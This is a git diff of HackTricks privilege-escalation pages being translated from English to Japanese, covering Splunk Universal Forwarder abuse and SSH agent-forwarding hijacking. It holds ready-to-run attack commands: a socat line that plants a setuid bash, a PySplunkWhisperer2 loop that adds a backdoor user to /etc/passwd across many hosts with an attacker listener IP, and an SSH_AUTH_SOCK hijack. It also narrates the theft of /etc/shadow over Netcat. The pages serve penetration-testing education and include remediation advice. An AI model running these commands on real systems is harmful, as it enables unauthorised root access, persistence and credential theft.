Exploits are commonly used in hacking to escalate privileges, execute arbitrary commands, or compromise a target system. Hackers often search for and exploit vulnerabilities in order to gain unauthorized access to sensitive information or to gain control over a system. It is important for system administrators and developers to be aware of potential exploits and take necessary measures to patch vulnerabilities and secure their systems. ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 9e564a2ca..70cb8a65b 100644 --- a/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,184 +1,173 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +**内部**または**外部**のマシンを**列挙**している場合、**Splunkが実行されている**ことを発見します(ポート8090)。もし幸運にも**有効な資格情報**を知っている場合、Splunkサービスを**悪用**して、Splunkを実行しているユーザーとして**シェルを実行**することができます。rootが実行している場合、特権をrootにエスカレーションすることができます。 -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +また、すでにrootであり、Splunkサービスがlocalhost以外でリッスンしていない場合、Splunkサービスから**パスワード**ファイルを**盗む**ことができ、パスワードを**クラック**するか、新しい資格情報を追加することができます。そして、ホスト上で持続性を維持します。 -In the first image below you can see how a Splunkd web page looks like. +最初の画像では、Splunkdのウェブページの見た目が示されています。 -**The following information was copied from** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) +**以下の情報は、**[**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)からコピーされました。 -# Abusing Splunk Forwarders For Shells and Persistence +# シェルと持続性のためのSplunk Forwardersの悪用 -14 Aug 2020 +2020年8月14日 -## Description: +## 説明: -The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. +Splunk Universal Forwarder Agent(UF)は、認証されたリモートユーザーがSplunk APIを介してエージェントに単一のコマンドまたはスクリプトを送信できるようにします。UFエージェントは、接続が有効なSplunk Enterpriseサーバーから来ているかどうかを検証せず、コードが署名されているか、またはSplunk Enterpriseサーバーからのものであることを証明することもありません。これにより、UFエージェントのパスワードにアクセス権を持つ攻撃者は、オペレーティングシステムに応じて、サーバー上でSYSTEMまたはrootとして任意のコードを実行できます。 -This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment. +この攻撃は、ペネトレーションテスターによって使用され、悪意のある攻撃者によって実際に悪用されている可能性があります。パスワードを取得することで、顧客環境内の数百のシステムが危険にさらされる可能性があります。 -Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details. +Splunk UFのパスワードは比較的簡単に取得できます。詳細については、「共通のパスワードの場所」セクションを参照してください。 -## Context: +## コンテキスト: -Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. +Splunkは、セキュリティ情報およびイベント監視(SIEM)システムとしてよく使用されるデータ集約および検索ツールです。Splunk Enterprise Serverは、サーバー上で実行されるWebアプリケーションであり、ネットワーク内のすべてのシステムにインストールされるUniversal Forwardersと呼ばれるエージェントがあります。Splunkは、Windows、Linux、Mac、およびUnix向けのエージェントバイナリを提供しています。多くの組織は、Linux/Unixホストにエージェントをインストールする代わりに、Syslogを使用してデータをSplunkに送信しますが、エージェントのインストールがますます人気を集めています。 -Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher. As you will note in my demo, complexity is not a requirement as my agent password is 12345678. A remote attacker can brute force the password without lockout, which is a necessity of a log host, since if the account locked out then logs would no longer be sent to the Splunk server and an attacker could use this to hide their attacks. The following screenshot shows the Universal Forwarder agent, this initial page is accessible without authentication and can be used to enumerate hosts running Splunk Universal Forwarder. +Universal Forwarderは、各ホストでhttps://host:8089でアクセスできます。 /service/などの保護されたAPI呼び出しにアクセスすると、Basic認証ボックスが表示されます。ユーザー名は常にadminであり、パスワードのデフォルトは2016年までchangemeでした。その後、Splunkは新しいインストールに8文字以上のパスワードを設定する必要がありました。デモで示すように、複雑さは要件ではありません。私のエージェントのパスワードは12345678です。リモート攻撃者は、ロックアウトせずにパスワードをブルートフォースできます。これはログホストの必要性です。なぜなら、アカウントがロックアウトされた場合、ログはSplunkサーバーに送信されなくなり、攻撃者はこれを使用して攻撃を隠すことができます。次のスクリーンショットは、Universal Forwarderエージェントを示しています。この初期ページは認証なしでアクセスでき、Splunk Universal Forwarderを実行しているホストを列挙するために使用できます。 ![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png) -Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly. +Splunkのドキュメントでは、すべてのエージェントに同じUniversal Forwardingパスワードを使用することが示されています。個々のエージェントごとにパスワードを設定できるかどうかは確かではありませんが、ドキュメントとSplunk管理者だったときの記憶に基づいて、すべてのエージェントは同じパスワードを使用する必要があると思われます。したがって、パスワードが1つのシステムで見つかるかクラックされると、すべてのSplunk UFホストで機能する可能性が高いです。これは私の個人的な経験ですが、数百のホストを迅速に危険にさらすことができます。 -## Common Password Locations +## 共通のパスワードの場所 -I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks: +ネットワーク上の以下の場所で、Splunk Universal Forwardingエージェントの平文パスワードをよく見つけます。 -1. Active Directory Sysvol/domain.com/Scripts directory. Administrators store the executible and the password together for efficient agent installation. -2. Network file shares hosting IT installation files -3. Wiki or other build note repositories on internal network +1. Active Directory Sysvol/domain.com/Scriptsディレクトリ。管理者は、効率的なエージェントのインストール +## 影響: -The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked. +Splunk Universal Forward Agentのパスワードを持つ攻撃者は、ネットワーク内のすべてのSplunkホストを完全に侵害し、各ホストでSYSTEMまたはrootレベルの権限を取得することができます。私はSplunkエージェントをWindows、Linux、およびSolaris Unixホストで成功裏に使用しています。この脆弱性により、システムの資格情報がダンプされ、機密データが持ち出され、ランサムウェアがインストールされる可能性があります。この脆弱性は、高速で使いやすく、信頼性があります。 -## Impact: +Splunkはログを処理するため、攻撃者は最初のコマンド実行時にUniversal Forwarderの場所を変更して、Splunk SIEMへのログ記録を無効にすることができます。これにより、クライアントのBlue Teamによる発見の可能性が大幅に低下します。 -An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable. +Splunk Universal Forwarderは、ログ収集のために頻繁にドメインコントローラにインストールされており、これにより攻撃者はNTDSファイルを抽出したり、さらなる攻撃のためにアンチウイルスを無効にしたり、ドメインを変更したりすることが容易になります。 -Since Splunk handles logs, an attacker could reconfigure the Universal Forwarder on the first command run to change the Forwarder location, disabling logging to the Splunk SIEM. This would drastically reduce the chances of being caught by the client Blue Team. +最後に、Universal Forwarding Agentはライセンスを必要とせず、パスワードスタンドアロンで構成することができます。そのため、Splunkを使用しない顧客であっても、この合法的なアプリケーションをホスト上のバックドア持続性メカニズムとしてインストールすることができます。 -Splunk Universal Forwarder is often seen installed on Domain Controllers for log collection, which could easily allow an attacker to extract the NTDS file, disable antivirus for further exploitation, and/or modify the domain. +## 証拠: -Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove. +攻撃例を示すために、最新のSplunkバージョンを使用してEnterprise ServerとUniversal Forwarding Agentのテスト環境をセットアップしました。以下の10枚の画像がこのレポートに添付されており、次の内容を示しています: -## Evidence: - -To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following: - -1- Requesting the /etc/passwd file through PySplunkWhisper2 +1- PySplunkWhisper2を介して/etc/passwdファイルをリクエストする ![1](https://eapolsniper.github.io/assets/2020AUG14/1\_RequestingPasswd.png) -2- Receiving the /etc/passwd file on the attacker system through Netcat +2- Netcatを介して攻撃者システムに/etc/passwdファイルを受信する ![2](https://eapolsniper.github.io/assets/2020AUG14/2\_ReceivingPasswd.png) -3- Requesting the /etc/shadow file through PySplunkWhisper2 +3- PySplunkWhisper2を介して/etc/shadowファイルをリクエストする ![3](https://eapolsniper.github.io/assets/2020AUG14/3\_RequestingShadow.png) -4- Receiving the /etc/shadow file on the attacker system through Netcat +4- Netcatを介して攻撃者システムに/etc/shadowファイルを受信する ![4](https://eapolsniper.github.io/assets/2020AUG14/4\_ReceivingShadow.png) -5- Adding the user attacker007 to the /etc/passwd file +5- /etc/passwdファイルにユーザーattacker007を追加する ![5](https://eapolsniper.github.io/assets/2020AUG14/5\_AddingUserToPasswd.png) -6- Adding the user attacker007 to the /etc/shadow file +6- /etc/shadowファイルにユーザーattacker007を追加する ![6](https://eapolsniper.github.io/assets/2020AUG14/6\_AddingUserToShadow.png) -7- Receiving the new /etc/shadow file showing attacker007 is successfully added +7- attacker007が正常に追加された新しい/etc/shadowファイルを受信する ![7](https://eapolsniper.github.io/assets/2020AUG14/7\_ReceivingShadowFileAfterAdd.png) -8- Confirming SSH access to the victim using the attacker007 account +8- attacker007アカウントを使用して被害者へのSSHアクセスを確認する ![8](https://eapolsniper.github.io/assets/2020AUG14/8\_SSHAccessUsingAttacker007.png) -9- Adding a backdoor root account with username root007, with the uid/gid set to 0 +9- uid/gidを0に設定したユーザーroot007をバックドアのルートアカウントとして追加する ![9](https://eapolsniper.github.io/assets/2020AUG14/9\_AddingBackdoorRootAccount.png) -10- Confirming SSH access using attacker007, and then escalating to root using root007 +10- attacker007を使用してSSHアクセスを確認し、root007を使用してrootにエスカレーションする ![10](https://eapolsniper.github.io/assets/2020AUG14/10\_EscalatingToRoot.png) -At this point I have persistent access to the host both through Splunk and through the two user accounts created, one of which provides root. I can disable remote logging to cover my tracks and continue attacking the system and network using this host. +この時点で、Splunkおよび作成された2つのユーザーアカウントを介してホストへの持続的なアクセスが可能です。リモートログ記録を無効にして自分の行動を隠し、このホストを使用してシステムおよびネットワークへの攻撃を継続することができます。 -Scripting PySplunkWhisperer2 is very easy and effective. - -1. Create a file with IP’s of hosts you want to exploit, example name ip.txt -2. Run the following: +PySplunkWhisperer2のスクリプト作成は非常に簡単で効果的です。 +1. 攻撃したいホストのIPを記載したファイルを作成します。例えば、ip.txtという名前のファイルです。 +2. 以下を実行します: ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -Host information: +ホスト情報: Splunk Enterprise Server: 192.168.42.114\ Splunk Forwarder Agent Victim: 192.168.42.98\ -Attacker:192.168.42.51 +攻撃者: 192.168.42.51 -Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)\ -Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup) +Splunk Enterpriseバージョン: 8.0.5(2020年8月12日時点での最新バージョン)\ +Universal Forwarderバージョン: 8.0.5(2020年8月12日時点での最新バージョン) -### Remediation Recommendation’s for Splunk, Inc: +### Splunk, Inc.への対策推奨事項: -I recommend implementing all of the following solutions to provide defense in depth: +以下のすべての解決策を実装することをお勧めします。 -1. Ideally, the Universal Forwarder agent would not have a port open at all, but rather would poll the Splunk server at regular intervals for instructions. -2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication. -3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party. +1. 理想的には、Universal Forwarderエージェントはポートを開けず、代わりに一定の間隔でSplunkサーバーから指示をポーリングするようにします。 +2. クライアントとサーバー間でTLS相互認証を有効にし、各クライアントに個別のキーを使用します。これにより、すべてのSplunkサービス間で非常に高い双方向セキュリティが提供されます。TLS相互認証は、エージェントやIoTデバイスで広く実装されており、これが信頼されたデバイスクライアントからサーバーへの通信の未来です。 +3. スクリプトファイルや単一行のコードを、Splunkサーバーによって暗号化および署名された圧縮ファイルで送信します。これにより、APIを介して送信されるエージェントデータ自体は保護されませんが、第三者からの悪意のあるリモートコード実行に対して保護されます。 -### Remediation Recommendation’s for Splunk customers: +### Splunkの顧客への対策推奨事項: -1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters. -2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server. +1. Splunkエージェントには非常に強力なパスワードを設定してください。少なくとも15文字のランダムなパスワードを推奨しますが、これらのパスワードは入力されないため、50文字など非常に長いパスワードに設定することもできます。 +2. ホストベースのファイアウォールを設定し、Splunkサーバーからのみポート8089/TCP(Universal Forwarderエージェントのポート)への接続を許可します。 -## Recommendations for Red Team: +## Red Team向けの推奨事項: -1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this. +1. 各オペレーティングシステム用にSplunk Universal Forwarderのコピーをダウンロードしておくと、軽量で署名された侵入ツールとして非常に便利です。Splunkが実際にこれを修正する場合に備えて、コピーを保持しておくと良いでしょう。 -## Exploits/Blogs from other researchers +## 他の研究者によるエクスプロイト/ブログ -Usable public exploits: +使用可能な公開エクスプロイト: * https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 * https://www.exploit-db.com/exploits/46238 * https://www.exploit-db.com/exploits/46487 -Related blog posts: +関連するブログ記事: * https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/ * https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2 * https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool -_** Note: **_ This issue is a serious issue with Splunk systems and it has been exploited by other testers for years. While Remote Code Execution is an intended feature of Splunk Universal Forwarder, the implimentaion of this is dangerous. I attempted to submit this bug via Splunk’s bug bounty program in the very unlikely chance they are not aware of the design implications, but was notified that any bug submissions implement the Bug Crowd/Splunk disclosure policy which states no details of the vulnerability may be discussed publically _ever_ without Splunk’s permission. I requested a 90 day disclosure timeline and was denied. As such, I did not responsibly disclose this since I am reasonably sure Splunk is aware of the issue and has chosen to ignore it, I feel this could severely impact companies, and it is the responsibility of the infosec community to educate businesses. +_**注意:**_ この問題はSplunkシステムにおける深刻な問題であり、他のテスターによって数年間にわたって悪用されてきました。リモートコード実行はSplunk Universal Forwarderの意図的な機能ですが、その実装は危険です。私はSplunkのバグバウンティプログラムを通じてこのバグを提出しようとしましたが、設計上の影響について気づいていない可能性が非常に低いため、バグの詳細を公に議論することはBug Crowd/Splunkの開示ポリシーによって禁止されています。90日の開示期限を要求しましたが、拒否されました。したがって、私は責任を持ってこれを開示しませんでした。Splunkがこの問題に気づいており、無視している可能性が非常に高いため、これは企業に深刻な影響を与える可能性があり、情報セキュリティコミュニティの責任は企業に教育することです。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index c308551e0..5a3db0607 100644 --- a/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,80 +1,73 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# 概要 +`/etc/ssh_config`または`$HOME/.ssh/config`の設定内に次のようなものが見つかった場合、どのようなことができるでしょうか? ``` ForwardAgent yes ``` +もしマシン内でroot権限を持っている場合、おそらく/tmpディレクトリ内で見つけることができる任意のエージェントによって作成されたssh接続にアクセスすることができます。 -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Bobのssh-agentの1つを使用してBobになりすまします: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## なぜこれが機能するのか? -## Why does this work? +変数 `SSH_AUTH_SOCK` を設定すると、Bob のキーにアクセスすることができます。これらのキーはBobのssh接続で使用されています。その後、彼の秘密鍵がまだそこにある場合(通常はそうである)、それを使用して任意のホストにアクセスすることができます。 -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +秘密鍵はエージェントのメモリに平文で保存されているため、Bobであっても秘密鍵のパスワードを知らなくてもエージェントにアクセスして使用することができると思われます。 -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +もう一つのオプションは、エージェントの所有者であるユーザーとrootがエージェントのメモリにアクセスして秘密鍵を抽出できる可能性があるということです。 -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# 詳しい説明と攻撃手法 -# Long explanation and exploitation +**引用元:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/) -**Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/) +## **ForwardAgentが信頼できない場合** -## **When ForwardAgent Can’t Be Trusted** +パスワードなしでのSSHは、Unix系オペレーティングシステムでの作業を非常に簡単にします。ネットワークがチェーンされたSSHセッション(制限されたネットワークへのアクセスなど)を必要とする場合、エージェントの転送は非常に役立ちます。エージェントの転送を使用すると、私はラップトップから開発サーバーに接続し、そこからさらに別のサーバーでsvnチェックアウトを実行することができます。すべてのパスワードなしで、同時にプライベートキーをローカルワークステーションで安全に保持します。 -SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation. +しかし、これは危険です。クイックなウェブ検索で、中間ホストが信頼できる場合にのみ安全であると示す記事がいくつか見つかります。しかし、なぜ危険なのかについての説明はほとんど見つかりません。 -This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of _why_ it’s dangerous. +それがこの記事の目的です。しかし、まずは背景を説明します。 -That’s what this article is for. But first, some background. +## **パスワードなし認証の仕組み** -## **How Passwordless Authentication Works** +通常のモードで認証する際、SSHはパスワードを使用してあなたが自分自身であることを証明します。サーバーは、このパスワードのハッシュとファイルに保存されているハッシュを比較し、ハッシュが一致することを検証して、あなたを許可します。 -When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in. +攻撃者がサーバーに送信されるパスワードを保護するために使用される暗号化を破ることができれば、それを盗むことができ、いつでもあなたとしてログインすることができます。攻撃者が何十万回もの試行を行うことが許される場合、最終的にはあなたのパスワードを推測することができます。 -If an attacker is able to break the encryption used to protect your password while it’s being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is 